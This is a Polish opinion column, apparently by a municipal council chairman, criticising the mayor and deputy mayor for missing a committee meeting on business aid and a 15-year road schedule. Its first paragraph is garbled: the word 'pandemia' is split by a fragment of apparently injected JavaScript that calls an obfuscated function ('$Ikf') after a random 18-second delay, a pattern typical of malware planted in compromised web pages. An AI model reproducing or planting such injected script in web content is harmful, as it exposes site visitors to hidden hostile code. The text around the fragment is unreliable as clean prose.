Nie da się pomóc, jeśli się nie chce.

Ze wszystkich spraw na naszym terenie najważniejsze jest dobro ludzi. Tego się uczymy od dziecka i tego chcemy dla siebie nawzajem. Różnie się to dobro mierzy, bo zależy ono od wielu czynników. Dla jednych dobrem jest luksusowy samochód, dla innych kawałek wędliny na chleb. Jednak taki czas, jak to co przyniosła nam pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemia, uświadamia nam wszystkim zupełnie inne potrzeby. Szukamy nowych rozwiązań, a może wręcz przeciwnie, wracamy do tego co było, czyli do przyjaźni, wzajemnej pomocy czy obcowania z sobą nawzajem.

Na tle tego co nas ogranicza każdy próbuje osiągnąć jakiś swój mały sukces. Niestety mam wrażenie, że w naszej Gminie sukcesem dla naszych władz jest to, żeby przeżyć do wieczora lub do końca zmiany. Niedawno pisano, że Przewodniczący Rady jest niedobry, bo na sesji nie zaproponował nic dla przedsiębiorców. Na sesji nie bardzo było co proponować, gdyż nie znam dokładnie wszystkich aktów prawnych, żeby od razu po wywołaniu do tablicy podejmować jakieś decyzje. Zwołałem więc posiedzenie połączonych komisji, żeby wraz z przedsiębiorcami przedyskutować cały problem. Niestety komisje nie przyniosły żadnych rozstrzygnięć, gdyż nie było na nich ani pani burmistrz, ani Gminnego prawnika. Więc z pytaniami o to, czy jakakolwiek propozycja jest zgodna z prawem musimy zaczekać. Tak to władza po raz kolejny pokazała, co jest najważniejsze. Wielu przedsiębiorców czeka na jakieś pozytywne rozwiązania, ale niestety bez pomocy osób takich, jak prawnicy, czy jak pani burmistrz, nie rozwiążemy żadnych problemów. Niestety obrad komisji nie zaszczycił też pan zastępca burmistrza. Ciekawi mnie czym się tak mocno zajmował, kiedy dyskutowaliśmy o sprawach tak ważnych dla naszej Gminy? Może sprawdzał ile jeszcze u nas zarobi zanim odbędzie się referendum, bo na szczęście jeśli odwołuje się w referendum burmistrza, to i zastępca leci automatycznie. Swoją drogą taki obraz najlepiej pokazuje, że obcy nami rządzą. Nie interesuje ich los tej Gminy, tylko własny interes. Dlatego trzeba zrobić porządek i zatroszczyć się o nas wszystkich. Musi nam się udać, bo w przeciwnym wypadku grozi nam zastój, z którego przez kilkanaście lat nie damy rady się wyplątać.
Jednym z tematów komisji był też harmonogram budowy dróg na lata 2020-2034. Zastanawia mnie po co taki rozrzut czasowy, skoro mniej więcej da się określić poziom pozyskiwania środków maksymalnie na jeden siedmioletni budżet UE. A tak naprawdę rządowe programy budowane są na rok budżetowy. Pani burmistrz postanowiła uraczyć nas harmonogramem na 15 lat i po problemie. Niestety nie pokazała jak go wykona, bo nie przyszła na komisje. Zastępcy nie wysłała, bo co chłopina powie? Tak to plan klepnięty, życie płynie dalej, a pani burmistrz zadowolona. Najważniejsze, że jest plan, resztę dopisze życie.